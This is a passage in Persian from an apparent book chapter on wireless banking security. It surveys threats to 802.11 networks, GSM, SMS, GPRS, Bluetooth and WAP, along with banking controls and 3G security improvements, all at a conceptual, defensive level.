سازمانیافته، نفوذ بعنوان مدلی برای کسب و کار مطرح است. بخش جرائم رایانه‌ای FBI اعلام کرده که اکثر بانکها به علت ترس از بی‌آبرویی و از دست دادن مشتریان، باج می‌پردازند. اخاذی Egghead در سال گذشته یک نمونهٔ مشهور است، که در آن نفوذگران پایگاه داده‌ای شامل ده هزار شمارهٔ کارت اعتباری را مورد حمله قرار دادند و برای اینکه آنها را در یک اتاق گفتگوی اینترنتی منتشر نکنند مبلغ گزافی را از شرکت مزبور باج‌خواهی کردند. بعد از آن نیز در شب کریسمس از موجودی هر کارت مبلغ کوچکی کم کردند. بنابراین مشکل فراتر از مسائل مالی و حیثیتی است. یک پیش‌بینی حاکی از این امر است که حوادث سرقت هویت در ایالات متحده بیش از سه برابر خواهد شد و از ۷۰۰,۰۰۰ دلار[۱۴۸] در سال گذشته به ۱,۷ میلیون دلار در سال ۲۰۰۵ خواهد رسید؛ و هزینهٔ بنگاههای اقتصادی هم با افزایش ۳۰٪ از مرز ۸ میلیون دلار در سال ۲۰۰۵ خواهد گذشت.[۱۴۹]

جرائم سایبر رشد چشمگیری داشته است. حمله به سرویس‌دهنده‌ها در سال ۲۰۰۱ نسبت به سال ۲۰۰۰ دو برابر شده و حدود ۹۰٪ شرکتهایی که مورد بررسی قرار گرفتند علیرغم برخورداری از انواع ویروس‌یابها، به ویروسها و کرمهای اینترنتی آلوده شده بودند.[۱۵۰] تحقیق سال ۲۰۰۱ CSI/FBI در مورد جرائم رایانه‌ای و امنیتی نشان داد که بدلیل نفوذها بیش از ۳۷۷ میلیون دلار خسارت به بار آمده است.[۱۵۱]

دلیل اصلی عدم برخورد مناسب با این دسته حوادث در دنیا ترس از انتشار اخبار آنها است.[۱۵۲] شرکتهای مالی بدلیل نگرانی از لکه‌دار شدن وجههٔ عمومی خود، از گزارش آسیبها و ضررهای وارده بیمناک هستند؛ و درنتیجه آسیب‌پذیر ماندن را ترجیح می‌دهند. اگر مشخص شود که یک بنگاه اقتصادی هدف کلاهبرداری رایانه‌ای قرار گرفته، مشتریان ممکن است اعتماد خود را از دست بدهند و از آن پس مایل نباشند اطلاعاتشان در پایگاههای آن بنگاه ذخیره شود. ضروری است که ارائه‌دهندگان خدمات اقتصادی، سیستمهای خود را به نحوی کنترل کنند که ضامن امنیت آنها باشد. رسانهٔ بی‌سیم – که در تمام جهان درحال توسعه است – رسانهٔ امنی نیست. شتاب چشمگیر کشورها جهت سازگاری با بستر فناوری بی‌سیم سرگردانی بزرگی ایجاد کرده است.

ج. شبکه‌های بی‌سیم محلی

شبکه‌های بی‌سیم درحال حاضر به سه شکل در دسترس می‌باشند: شبکه‌های بی‌سیم محلی که از پروتکل 802.11b استفاده می‌کنند؛ شبکه‌های CDMA/TDMA/GSM (تلفن همراه و PCS) مورد استفاده در تلفنهای بی‌سیم و PDAها؛ و سیستمهای مایکروویو پرقدرت که در شرکتهای تلفن جهت تبادل اطلاعات در مسافتهای طولانی کاربرد دارند. با اینکه هر سه مورد فوق در سراسر دنیا معمول هستند، اما همگی یک نقطه‌ضعف اساسی امنیتی دارند و آن استفاده از فرکانس رادیویی (RF) برای انتقال اطلاعات است؛ چراکه این مسئله می‌تواند به افشای داده‌های انتقالی بیانجامد.

شبکه‌های بی‌سیم بصورت انفجاری گسترش پیدا کردند. هزینهٔ ناچیز، سادگیِ نصب و برقراریِ مداوم اتصالات باعث گسترش سریع آنها – بخصوص در مؤسسات خدمات مالی – شده است. در واقع گمان می‌رفت که شبکه‌های بی‌سیم همان کاربرد شبکه‌های سنتی را داشته باشند اما بدون استفاده از کابل. گسترش این شبکه‌ها بدلیل سهولت کار کاربران است و درحال حاضر در ایالات متحده تحت

---

۱۴۸ *این آمار تنها نمایانگر جهتگیری سالانه در ایالات متحده است.*

۱۴۹ *این نتایج در گزارشی از مؤسسهٔ Celent Communications در سال ۲۰۰۱ منتشر شد و در آن از داده‌های FTC استفاده شده است.*

150 *http://www.infosecuritymag.com/articles/october01/images/survey.pdf*

۱۵۱ *نمایندهٔ ویژهٔ آنزمان در سرویس مخفی جرائم مالی، James Savage، گفته: "این آمار حکایت از اشکالات جدی در زیرساختهای حیاتی است، چراکه معنی آن این است که جامعهٔ تجاری تمایل دارد بپذیرد که از این نظر آسیب دیده". او معتقد است که این آمار تنها بیانگر یک قسمت جزئی از واقعیت آسیبهای وارده به جامعهٔ تجاری ایالات متحده می‌باشد. (۳ اکتبر ۲۰۰۳)*

۱۵۲ *نمایندهٔ مخصوص CERT، Cornelius Tate، به این تمایل به گریز از گزارش‌کردن رخدادها اینگونه اشاره می‌کند: "فکر می‌کنم ضررهای مالی بیش از مقداری است که گزارش می‌شود. بر اساس تجربهٔ من شرکتهایی وجود دارند که مایل نیستند ضررهای ناشی از مورد نفوذ قرار گرفتن خود را گزارش کنند. بنظر من سال به سال می‌توان افزایش زیادی در زیان شرکتها از آسیبهای اینچنینی مشاهده کرد، چراکه شرکتها بیشتر به این نتیجه رسیده‌اند که هر کس ممکن است هدف یک حمله قرار بگیرد، و قربانی شدن در حملات بتدریج مورد قبول واقع شده و دیگر انتشار اخبار مربوط به آن به اندازهٔ گذشته باعث از دست رفتن اطمینان عمومی نمی‌شود."*

استاندارد IEEE 802.11 و در اروپا تحت استاندار GSM ارائه می‌شوند. هنگام طراحی شبکه‌های بی‌سیم، نگرانیهای مهم امنیتی وجود دارد که باید به آنها توجه شود.

هفت دسته مخاطرات امنیتی اولیه در مورد شبکه‌های بی‌سیم قابل ذکر است:[۱۵۳]

۱. **حملات درج**[۱۵۴]: نفوذگر سعی می‌کند از طریق یک *نقطه دسترسی سیار*[۱۵۵] ناامن، به شبکهٔ شما "داده" وارد کند.

۲. **سرقت جلسه**[۱۵۶]: که به "man in the middle" نیز معروف است، بر اساس این ایده بوجود آمده که در سیستم تلفنهای بی‌سیم، تلفن هویت خود را برای ایستگاه ثابت تصدیق می‌کند، اما ایستگاه اینکار را برای تلفن انجام نمی‌دهد؛ پس می‌توان یک جلسهٔ بی‌سیم میان تلفن و ایستگاه ثابت را بدون اینکه تلفن بتواند به موضوع پی ببرد سرقت کرد و برای اینکار کافی است یک ایستگاه ثابت شبیه‌سازی شود.

۳. **پارازیت دادن:** این حمله از انواع حملات تخریب سرویس است که در آن نفوذگر با داده‌پراکنی و *پخش عمومی*[۱۵۷] در فرکانسِ کاریِ شبکهٔ شما سعی می‌کند در طیف فرکانس رادیویی شبکهٔ بی‌سیم ایجاد *سرریز*[۱۵۸] کند.

۴. **حملات رمزنگاری**[۱۵۹]: شبکهٔ بی‌سیم مبتنی بر IEEE 802.11 از الگوریتم *WEP*[۱۶۰] برای رمزگذاری استفاده می‌کند. روش رمزگذاری و بردارهای مقدار اولیهٔ این استاندارد بسیار ضعیف هستند و تاکنون بارها شکسته شده‌اند.

۵. **تصاحب ترافیک و انجام دیده‌بانی:** برد تقریبی نقاط دسترسی سیار در استاندارد 802.11b حدود ۳۰۰ فوت است. این به آن معناست که هر فردی با داشتن ابزار مناسب، درصورتیکه در محدوده ارسال بسته‌ها باشد، قادر به دریافت آنها خواهد بود. وسایل تقویت سیگنال و گسترش این محدوده نیز به وفور مهیاست؛ و لذا ناحیه‌ای که تصاحب ترافیک در آن ممکن است، وسیع و ایمن کردن آن مشکل می‌باشد.

۶. **ارتباط نقطهٔ سیار با نقطهٔ سیار دیگر:** اغلب نقاط سیار (مثل رایانه‌های قابل حمل و PDAها) درصورتیکه خدمات اشتراک فایل یا هرگونه خدمات TCP/IP روی آنها فعال باشد، قادر به ارتباط بی‌واسطه و مستقیم با یکدیگر هستند. این مسئله به این معنی است که هر نقطهٔ سیار قادر است یک فایل یا برنامهٔ خطرناک را از طریق شبکهٔ شما منتقل کند.

۷. **تنظیمات نادقیق:** هرگونه ابزار، خدمات، یا برنامهٔ کاربردی که بطور صحیح پیکربندی نشده باشد، کل شبکه را مورد مخاطره قرار می‌دهد. بسیاری از ابزارها و برنامه‌های کاربردی بی‌سیم، بطور پیش‌فرض بگونه‌ای تنظیم شده‌اند که هرگونه درخواست خدمات یا دسترسی را می‌پذیرند. این به آن معنا است که هر سرویس‌گیرندهٔ سیار دلخواه خواهد توانست درخواست جلسهٔ telnet یا ftp نموده و پاسخ آنرا دریافت کند.

۸. **حملات Brute Force**: اغلب نقاط دسترسی بی‌سیم، از یک کلید یا رمز عبور مشترک برای تمام ابزارهای شبکه استفاده می‌کنند. این مسئله شبکه‌های بی‌سیم را در برابر حملات brute force (مثلاً بر اساس یک فرهنگ لغت) ناامن کرده است.

War Driving

جاسوسی صنعتی و جرائم اداری با پیشرفت فناوریهای جدید به بالاترین حد خود رسیده‌اند. War dialing به معنای تماس با تمام شماره تلفنهای سازمان و یافتن شمارهٔ مودم‌های آن، جای خود را به war driving داده است. این مفهوم جدید یعنی جستجو برای یافتن شبکه‌های محلی بی‌سیم مؤسسات اقتصادی، و ضبط ترافیک شبکهٔ آنها با رایانهٔ قابل حمل. بنا به گفته *دیو توماس*[۱۶۱] بازرس ارشد بخش جرائم رایانه‌ای FBI، war driving پدیده‌ای درحال

---

۱۵۳ *این دسته‌بندی مربوط به یکی از اعضای مرکز تحلیل CERT است.*

154 Insertion Attacks
155 Mobile Access Point
156 Session Hijacking
157 Broadcasting
158 Flooding
159 Encryption
160 Wired Equivalent Privacy
161 Dave Thomas

بخش سوم

گسترش است که امنیت تمام شرکتها و مؤسساتی کـه دارای شبکه محلی بی‌سیم هستند را تهدید می‌کند.

این امکان وجود دارد که راهبر شبکه هنگام تنظیم و اسـتقرار شبکهٔ محلی بی‌سیم ببیند که رایانه‌های قابل حمـل تنهـا در فاصلهٔ محدودی از نقاط دسترسی می‌توانند به شـبکه متـصل شوند و درنتیجه گمان کند که سیگنالهای شبکه در فواصـلی دورتر از آن فاصله قابـل دسترسـی نیـستند، امـا ایـن فـرض نادرست است. در حقیقت سیگنالها در طول هزاران متر – تـا جایی که چیزی آنها را منحرف یا دچـار وقفـه نکنـد – قابـل دریافت هستند. دلیل آن استدلال غلط ایـن اسـت کـه آنـتن کوچک رایانهٔ قابل حمـل نمـی‌توانـد سـیگنالهای ضـعیف را دریافت کند؛ اما با استفاده از یک آنتن خارجی، می‌تـوان بـرد سیگنالها را افزایش داد. بخش بی‌سیم شبکه معمولاً بگونه‌ای است که نفوذگر برای دسترسی به ترافیک آن نیازی ندارد به چیزی دسترسی فیزیکی پیدا کند. به‌همین دلیل این شبکه‌ها نسبت به حملاتی چـون دزدی پیـام، تغییـر پیـام، یـا ارسـال پارازیت میان پیام، دارای ضعف هستند.

مسائل مذکور اهمیت پرداختن به مسئله امنیت در شبکه‌های بی‌سیم را روشن می‌کنند. هریک از ضعفهای فوق را می‌توان با استفادهٔ مناسـب از سیاسـتها و تجربیـات امنیتـی، طراحـی شبکه، برنامـه‌هـای کـاربردی امنیتـی و پیکربنـدی صـحیح کنترلهای امنیتی به حداقل رسانده و یـا از بـین بـرد. آخـرین فصلهای بخش سوم به اطلاعاتی دربـارهٔ نحـوهٔ امـن کـردن شبکه‌های محلی بی‌سیم می‌پردازند.

د. استاندارد تلفن همراه در اروپا: GSM

GSM گسترده‌ترین و درحال رشدترین استاندارد تلفن همراه دیجیتال مورد استفاده در جهان است. درحـال حاضـر چیـزی نزدیک به ۶۰۰ میلیون مشترک GSM در دنیا وجـود دارد – رقمی بیش از دو سوم تعـداد کـل ابزارهـای سـیاری کـه در جهان موجود است.[۱۶۲] این رقم با سرعت چهار کاربر جدید در ثانیه درحال افزایش است. پوشش GSM همهٔ قـاره‌هـا را در بر می‌گیرد، بطوریکه فناوریِ مورد اسـتفادهٔ ۴۰۰ ارائـه‌کننـدهٔ خدمات در بیش از ۱۷۰ کشور دنیا است. امـا ایـن تنهـا آغـاز انقلاب فناوری بی‌سیم است.

محققان صنعتی پیش‌بینی می‌کنند که تا پایان سال ۲۰۰۵ در حدود ۱،۴ میلیارد کاربر GSM وجود خواهد داشت. تلفنهـای GSM در داخل خـود دارای یـک کـارت کوچـک هوشـمند هستند که مشخصات تلفن را در خود ذخیره می‌کند و به نـام *واحد شناسایی مشتری* (SIM)[۱۶۳] شناخته می‌شود. SIM بایـد از مشخصات بصورت محرمانـه و رمزنگـاری‌شـده نگهـداری کند؛ لذا به کارت SIM هم می‌توان بعنوان یک نقطهٔ قوت و هم بعنوان یک نقطهٔ ضعف امنیتـی در فنـاوری GSM نگـاه کرد.

نقاط ضعف GSM

آسیب‌پذیریهای کارت SIM

در سیستمهای GSM آمریکا و اروپا، روش دستیابی به شبکه یکسان است. کارتهـای هوشـمند قابـل جابجـایی در تلفنهـا (کارتهای SIM) برای نگهداری شماره‌هـای تمـاس، اطلاعـات حساب کاربری، و نرم‌افزارهای جانبی مثل مرورگـر وب بکـار می‌روند. داده‌های ذخیره‌شده در کارتها رمزنگاری مـی‌شـوند، اما الگوریتم COMP128 که در اینکار بکار می‌رود پـیش از این شکسته شده و لذا این کارتها در برابر کپی‌برداری (سـاخت یک نسخهٔ مشابه از خـود) ایمـن نیـستند. *War driving* بـرای مشترکین تلفنهـای همـراه کـه از اسـتاندارد GSM اسـتفاده می‌کنند مسئله خطرناکی نیست. مستقل از طیف فرکانسی، با ارسال پارازیت براحتی می‌تـوان سـیگنالهای تلفـن همـراه را دچار وقفه کرد. یک روش بسیار معروف برای بدسـت آوردن *کلید رمزگذاری‌شدهٔ گفتگوی GSM*[۱۶۴] در کمتر از یک ثانیه وجود دارد که در آن از یک رایانهٔ شخصی استفاده می‌شود.

---

۱۶۲ *سیستم GSM آمریکای شمالی درحال حاضـر هنگـام ارتبـاط بـا خدمات رایانه‌های شخصی با سـرعت 1900MHz کـار مـی‌کنـد. خدمات داده‌ای GSM عبارتنـد از SMS (Short Message Servise)، CSD (Analog Cellular Switched Data)، و GPRS (General Packet Radio Service). بیشتر شرکتهای ارائه‌کنندهٔ خدمات تلفن همراه گونـه‌ای از GSM را بکـار مـی‌برنـد کـه یـا در 900MHz و یـا در 1800MHz کار می‌کند. علاوه بر این کـشورهای اروپـایی مـی‌توانند از مدار سوئیچی پرسـرعت داده (High Speed Circuit Switched Data، HSCSD) اسـتفاده کننـد، کـه مـی‌توانـد کانالهـای ارتبـاطی مختلـف را در یـک کانـال بـا قابلیـت کـار 38.4KBPS ادغام کند. GPRS در بیشتر کشورها وجود دارد.*

163 *Subscriber Identification Module*

164 *Encrypted GSM Conversation Key*

امنیت فناوری GSM بستگی به شرایط دارد. از کارت SIM می‌توان نسخهٔ بدل ایجاد نمود. نفوذ به آن نیز امکانپذیر است؛ چراکه الگوریتمهای حساس آن شکسته شده‌اند. این مشکل آخر می‌تواند به ناامن شدن کامل مکالمات تلفنی GSM نیز منجر شود.

در مورد استفادهٔ یک بانک از فناوری GSM مشکلات دیگری هم وجود دارند. برای مثال اگر یک دستگاه خودپرداز راه دور نتواند با یک برج مخابراتی واقعی ارتباط برقرار کند، می‌توان آنرا برای برقراری ارتباط با یک برج جعلی فریب داد. انجام اینکار برای نفوذگر امکان کنترل نقل و انتقالات انجام گرفته در آن دستگاه خودپرداز را پدید خواهد آورد.

آسیب‌پذیری SMS

GSM *خدمات پیامهای کوتاه* (SMS)[۱۶۵] را نیز ارائه می‌دهد. SMS در سیستم GSM کاربردهای گوناگونی دارد، از جمله اعلانهای پست صوتی، به روزرسانی SIM مشتری، ارسال پیامهای کوتاه متنی، و ارتباط با دروازه‌های پست الکترونیکی. با وجود اینکه موارد فوق خدمات پرکاربردی هستند، اما مخاطرات امنیتی جدیدی برای شبکه بوجود می‌آورند. SMS نوعی سرویس ذخیره و ارسال پیام است که ذاتاً ناامن می‌باشد، چراکه در آن تمام پیامها بصورت متن‌ساده و رمزنشده تبادل می‌شوند و ذخیره‌سازی آنها در مرکز SMS پیش از ارسال به مقصد نیز بصورت رمزنشده است. از دیگر مشکلات SMS تأخیر در رسیدن پیام به مقصد می‌باشد. تراکنشهایی که از نظر زمانی اهمیت زیادی دارند نمی‌توانند به این سرویس اطمینان کنند. از طرف دیگر نرم‌افزارهای رایگان زیادی وجود دارند که می‌توان بوسیلهٔ آنها SMS جعلی ساخت، به گوشی‌ها و مراکز SMS سیلی از بمبهای SMS فرستاد، و یا بسته‌های SMS را بگونه‌ای طراحی کرد که منجر به خرابی نرم‌افزارها در بیشتر گوشی‌ها شوند.

فناوری جعبه‌ابزار SIM (STK)[۱۶۶] می‌تواند برای رمزنگاری SMS بکار رود. با اینحال STK یک ساز و کار امنیتی *لایهٔ انتقال*[۱۶۷] است، و نمی‌تواند *محرمانگی پایانه به پایانه*[۱۶۸] را تضمین کند. یک روال دیگر بهبود امنیت SMS می‌تواند بررسی شخصی مشتریان برای یک قطعه پیام قراردادی بمنظور تضمین کل پیام و ارائه‌کنندهٔ خدمات و درنتیجه بررسی شماره‌تلفنهای ثبت‌شدهٔ مشتریان باشد.

آسیب‌پذیری GPRS

GPRS[۱۶۹] نوعی خدمات مبتنی بر IP است که برقراری اتصال دائمی به اینترنت را تضمین می‌کند. مشکل عمدهٔ این مکانیزم این است که هنوز برای تقاضاهای WAP به SMS وابستگی دارد. یک بستهٔ SMS تقلبی می‌تواند به یک تلفن فرستاده شود و یک پایگاه وب جعلی را باز کند، و کاربران را طوری فریب دهد که اطلاعات خود را در یک فرم که گمان می‌کنند از ایمنی برخوردار است اما در حقیقت تقلبی است وارد کنند. بسیاری از تلفنهایی که قابلیت GPRS دارند از قابلیت bluetooth نیز برخوردارند. هر دستگاه با قابلیت bluetooth شامل یک آدرس منحصر به فرد است که به کاربر امکان می‌دهد به نوعی به شخصی که در طرف دیگر ارتباط است نوعی اعتماد پیدا کند. همینکه این شناسه به یک کاربر اختصاص داده شد، با دنبال کردن پیامها و بررسی شناسهٔ آنها می‌توان فعالیتهای کاربر را ضبط نمود. در ابزارهای مبتنی بر bluetooth برای برقراری ارتباط، یک فرآیند مقداردهی اولیه آغاز می‌شود که برای تصدیق هویت از یک PIN استفاده می‌کند. اگرچه برخی ابزارها به شما اجازه وارد کردن شمارهٔ PIN را می‌دهند، اما می‌توان PIN را در حافظهٔ یک دستگاه الکترونیکی یا دیسک سخت نیز ذخیره نمود. درصورتیکه امنیت فیزیکی دستگاه تأمین نباشد ممکن است مشکلات عدیده‌ای به بار بیایند. همچنین رمزهای غالب PINها اعداد چهار رقمی هستند، و شاید در نیمی از موارد این عدد 0000 باشد.

امنیت bluetooth در گرو نگهداری از کلید رمزنگاری بصورت یک راز مشترک میان اعضای شبکه است. اما تصور کنید من و شما با تلفنهای همراه خود که قابلیت bluetooth دارند درحال مکالمه هستیم. برای برقراری امنیت مکالمه، من با استفاده از کلید شما داده‌های مکالمه را رمزنگاری می‌کنم. کمی بعدتر یکی از دوستانتان با شما تماس می‌گیرد و شما مجدداً از کلید خود استفاده می‌کنید. من که کلید شما را می‌دانم با استفاده از یک آدرس جعلی

165 *Short Message Service*
166 *SIM Toolkit Technology*
167 *Transport Layer*
168 *End-to-End Confidentiality*

169 *General Packet Radio Service*

می‌توانم نوع رمزگذاری را تشخیص دهم، و به مکالمهٔ شما گوش کنم. همچنین می‌توانم خودم را به جای شما یا کسی که درحال مکالمه با شما است جا بزنم. بنابراین bluetooth تنها ابزارها را تصدیق هویت می‌کند، نه کاربران را.

ضعفهای WAP

نقطه‌ضعف مشترک تمام ابزارهای بررسی شده – صرفنظر از نوع شبکه – استاندارد *پروتکل کاربرد بی‌سیم* (WAP)[۱۷۰] است که از *زبان علامتگذاری بی‌سیم* (WML)[۱۷۱] و *زبان علامتگذاری وسایل دستی* (HDML)[۱۷۲] تشکیل شده است. توسعه‌دهندگان برای راحت‌تر شدن کار، تا حد ممکن تلاش می‌کنند طراحی سناریوها بگونه‌ای باشد که کاربر هنگام استفاده از خدمات مختلف ملزم به وارد کردن کوتاهترین ورودی ممکن باشد – مثلاً اعدادی که بعنوان شماره کارت اعتباری یا شمارهٔ حساب شخصی وارد رایانه می‌شوند. این به آن معنا است که همچنان قسمت اعظم این داده‌ها درون سرویس‌دهنده ذخیره می‌شوند، و در وسیلهٔ دستی مربوطه تنها یک cookie حاوی رمز عبور قرار دارد؛ که بسیاری اوقات برای کارهایی مثال خرید اینترنتی یا انتقال سرمایه صرفاً به یک PIN نیاز دارد و گاهی حتی از آن هم بی‌نیاز است. بنابراین مسئله امنیت تبادلات میان دستگاهها در شبکهٔ بی‌سیم بر عهدهٔ استاندارد دیگری به نام *امنیت لایهٔ انتقال بی‌سیم* (WTLS)[۱۷۳] می‌باشد.

تا زمانیکه از که از استاندارد *SSL*[۱۷۴] ۱۲۸ بیتی موبایل یا پروتکل IPSec (که بیشتر گوشی‌ها بدلیل کمبود پهنای باند و قدرت پردازش از آن پشتیبانی نمی‌کنند) استفاده نشود، همواره در قسمتی از شبکه یک حلقهٔ ضعیف امنیتی وجود دارد که می‌تواند مورد سوء استفاده قرار بگیرد. حتی در اینصورت نیز ضعفهای امنیتی در داخل وسیله (و نه کانال ارتباطی) همچنان وجود خواهد داشت؛ و لذا امنیت ارتباط به سادگی خدشه‌دار می‌شود. GSM از WAP و WTLS استفاده می‌کند که معادل SSL است اما با یک الگوریتم رمزگذاری ضعیفتر. WTLS با SSL که یک استاندارد صنعتی است سازگار نمی‌باشد. پیامهای بی‌سیم درون یک gateway می‌روند و از آنجا وارد یک شبکه سیمی می‌شوند تا به سمت مقصد نهایی خود هدایت گردند. در آن gateway، پیام WTLS به SSL تبدیل می‌شود. در gateway پیام برای چند ثانیه رمزگشایی می‌گردد و همین امر باعث می‌شود که کل ارتباط نسبت به دزدیِ پیام آسیب‌پذیر گردد.

170 *Wireless Application Protocol*
171 *Wireless Markup Language*
172 *Handled Device Markup Language*
173 *Wireless Transport Layer Security*
174 *Secure Socket Layer*

ه. راه‌حلهای امنیتی برای GSM

نقایص ذاتی GSM براحتی قابل رفع نیستند. تلفنها و PDAهایی که از فناوری GSM استفاده می‌کنند عموماً قادر به استفاده از نرم‌افزارهای محافظ نمی‌باشند. اگرچه GSM مثل همتای آمریکایی خود – استاندارد 802.11 – نسبت به war driving آسیب‌پذیر نیست، اما چند نقطه‌ضعف اساسی دارد. استاندارد 802.11 مربوط به رایانه‌ها است و نه وسایل گوشی‌دار، و لذا امنیت در آن می‌تواند به طرز مؤثری نسبت به GSM بهبود یابد. شبکه‌های خصوصی مجازی (VPNها) فصل مشترک آسیب‌پذیریهای این دو استاندارد هستند، و استفاده از VPN معمولاً بعنوان راه‌حلی برای رفع آسیب‌پذیریهای فعلی 802.11 و GSM بشمار می‌رود. با اینحال در امنیت چندلایه نمی‌توان از یک لایهٔ خاص انتظار معجزه داشت. اطلاعات بیشتر در مورد امنیت شبکه‌های بی‌سیم را می‌توانید در پایان همین بخش کتاب و نیز بخش پنجم (امنیت فناوری اطلاعات و راهبران فنی) بیابید.

و. تجارب امنیت بانکداری

در نتیجهٔ گسترش فراوان استفاده از GSM در خدمات مالی الکترونیکی، استانداردهای کنترلی و امنیتی چندی بوجود آمده‌اند که مؤسسات مالی درصورت استفاده از دسترسی بی‌سیم در خدمات پرداخت باید آنها را مورد توجه قرار دهند.

پرداخت از طریق شخص ثالث

بعنوان یک قاعدهٔ کلی، بانکها باید مستقیماً مشتریان خود را در معاملات مالی بی‌سیم تصدیق هویت کنند. ممکن است بعضی از مشتریان به بانک اختیار دائمی بدهند که بتواند از حساب آنها اعتبار برداشت کند و به حساب برخی اشخاص ثالث واریز نماید. چنین توافقهایی می‌توانند از طریق *موافقتنامه‌های تصدیق اعتبار حسابرسی مستقیم*[۱۷۵] صورت

175 *Direct Debit Authorization Agreements*

بگیرد. با اینحال درصورت عمل به این موافقتنامه‌ها، اشخاص ثالث نباید بتوانند شناسه‌های بانکی مشتریان (IDها و PINها) را بدست آورند یا آنها را ذخیره نمایند.

حسابهای ذخیره

حسابهای ذخیره (SVA)[۱۷۶] توسط مشتریانی استفاده می‌شود که بصورت دوره‌ای به این حسابها پول واریز می‌کنند. SVA می‌تواند روی دستگاههای سیار قرار گیرد. هنگام انجام عملیات پرداخت، هیچ حساب بانکی نباید مورد دسترسی قرار گیرد. برای انتقال اعتبار از یک حساب بانکی به یک حساب SVA حتماً صاحب آن حساب بانکی باید شخصاً به اینکار اقدام کند.

پرداختهای نزدیک بی‌سیم

خدمات *پرداخت نزدیک بی‌سیم*[۱۷۷] معمولاً برای خرده‌فروشیهای خارج از تعداد بکار می‌روند. این تراکنشها تنها باید زمانی کامل شوند که مشتری در نقطهٔ فروش صراحتاً تصدیق هویت شود. اگر چنین تصدیق هویتی صورت نگرفته باشد، این امکان وجود خواهد داشت که حساب بانکی مشتری از طریق SVA مربوطه بطور غیرارادی دچار کسری گردد. بنابراین برای هر نوع درخواست پرداخت وجه، تصدیق هویت صریح مشتری باید اجباری باشد.

پاسخ تعاملی صوتی

خدمات *پاسخ تعاملی صوتی سیار* (Mobile IVR)[۱۷۸] نسبت به استراق‌سمع آسیب‌پذیر هستند. از سیستمهای IVR نباید برای خدمات پربها و یا پرمخاطره استفاده کرد. تمام اتصالات IVR – از جمله شماره تلفن تماس‌گیرنده و ترتیب تراکنشهای انجام‌شده توسط مشتری باید ثبت شود؛ اما این ثبتها به هیچوجه نباید شامل PIN و اطلاعات تصدیق هویت مشتری گردد.

آموزش مشتری

بانکها باید مصرف‌کنندگان خدمات مالی الکترونیکی بی‌سیم را به روشهای زیر آموزش دهند:

- به مشتری باید توصیه شود که برای خدمات مختلف از PINهای متفاوت استفاده کند.
- برای استفادهٔ ایمن از برنامه‌های بانکداری و پرداخت سیار باید دستورالعملهایی در زمینهٔ پیکربندی ابزارهای سیار به مشتری داده شود.
- اطلاعات لازم در مورد مواجهه با مشاجرات، روالهای گزارش‌دهی و زمان مورد انتظار رفع و رجوع شکایات باید به مشتری ارائه گردد.

نگاه به آینده: فناوری نسل سوم

نسل سوم فناوری بی‌سیم به اختصار 3G خوانده می‌شود و به پیشرفتهای ارتباطات بی‌سیم در استانداردهای مختلف اشاره دارد. هدف اولیهٔ این طرح بالابردن سرعت انتقال از ۹،۵ کیلوبیت در ثانیه به ۲ مگابیت در ثانیه است. در زمینهٔ امنیت سیستمها و ارتباطات، هدف اصلی طراحی یک سیستم بدون نقص نیست، بلکه طراحی سیستمی است که اگر نیاز به آن احساس شد بتواند با پیشرفتهای امنیتی سازگاری پیدا کند. بسیاری از حملاتی که وقوع آنها در شبکه‌های نسل دوم و حتی کمی پیشرفته‌تر از آن ممکن بود، در محیطهای نسل سوم بکلی حذف شده‌اند.

استحکام ساختار امنیتی نسل سوم

امنیت نسل سوم بر مبنای امنیت GSM طراحی شده است، اما با تغییرات زیر:

- یکی از تغییرات برای غلبه بر حمله‌ای موسوم به *ایستگاه ثابت جعلی*[۱۷۹] انجام گرفت. در این مکانیزم امنیتی یک شمارهٔ توالی به داده‌های تصدیق هویت اضافه می‌شود که تضمین می‌کند دستگاه سیار خواهد توانست شبکه را مورد شناسایی قرار دهد.
- طول کلید رمز افزایش یافته تا امکان استفاده از الگوریتمهای رمزگذاری قویتر هم فراهم شود.
- مکانیزمهایی برای بهبود امنیت داخل شبکه‌ها و ارتباطات میان آنها لحاظ شده است.

176 *Stored Value Accounts*
177 *Close Proximity Wireless Payments*
178 *Mobile Interactive Voice Response*
179 *False Base Station*

- امنیت به جای ایستگاه ثابت مبتنی بر سوئیچ شده (مثل GSM). بنابراین اتصالات میان ایستگاه ثابت و سوئیچ مورد محافظت قرار دارند.
- *مکانیزمهای یکپارچگی هویت پایانه* (IMEI)[۱۸۰] بجای آنچه که در GSM وجود داشت، از نو طراحی شده‌اند.
- الگوریتم تصدیق هویت تعریف نشده، اما راهنمایی برای انتخاب یک الگوریتم ارائه می‌شود.
- در زمان گشت‌زدن میان شبکه‌ها، مثلاً بین GSM و 3GPP، تنها سطحی از پشتیبانی که بوسیلهٔ کارت هوشمند صورت گرفته اعمال می‌شود. بنابراین کارت هوشمند GSM در شبکه 3GPP در برابر حملهٔ ایستگاه ثابت جعلی همچنان مورد محافظت قرار ندارد.

سیستم نسل سوم نسبت به همتای GSM خود از امنیت بسیار بیشتری برخوردار است. البته همانطور که گفته شد هوشمندی و زیرکی مهاجمین را هیچگاه نباید دست کم گرفت. بنابراین از دید مبتنی بر تئوری، در شبکه‌های نسل سوم نیز امکان وقوع حملات جدی وجود دارد که ذیلاً به آنها اشاره می‌شود.

اعتماد به ایستگاه ثابت جعلی

این حمله، حمله‌ای است که به یک ایستگاه ثابت یا ایستگاه سیار دستکاری‌شده نیاز دارد و از این آسیب‌پذیری استفاده می‌کند که ممکن است کاربر به یک ایستگاه ثابت جعلی متصل شود. یک ایستگاه ثابت جعلی می‌تواند گاهی در نقش تکرارکننده و گاهی نیز در نقش تقویت‌کنندهٔ درخواستهای تبادلی میان شبکه و کاربر عمل کند، و در این میان درخواستها یا پیامهای مورد نظر را تغییر دهد.

معماری امنیتی نمی‌تواند از دستکاری پیامهای تبادلی میان شبکه و کاربر جلوگیری نماید. حفاظت از جامعیت پیامهای حیاتی شبکه می‌تواند به پیشگیری از وقوع برخی حملات تخریب سرویس – که با ایجاد تغییر در محتوای پیام صورت می‌گیرد – نیز کمک کند. در اینجا، حملهٔ تخریب سرویس تنها تا زمانی می‌تواند ادامه یابد که نفوذگر فعال باشد؛ برخلاف حملات بالا که بعد از پایان دخالت نفوذگر هم ادامه پیدا می‌کنند. این حملات قابل قیاس با حملاتی چون ارسال پارازیتهای رادیویی هستند که اگر بخواهیم آنها را در تمام سیستمهای رادیویی خنثی کنیم، با مشکلات زیادی روبرو هستیم.

اجبار به ارتباطات رمز نشده

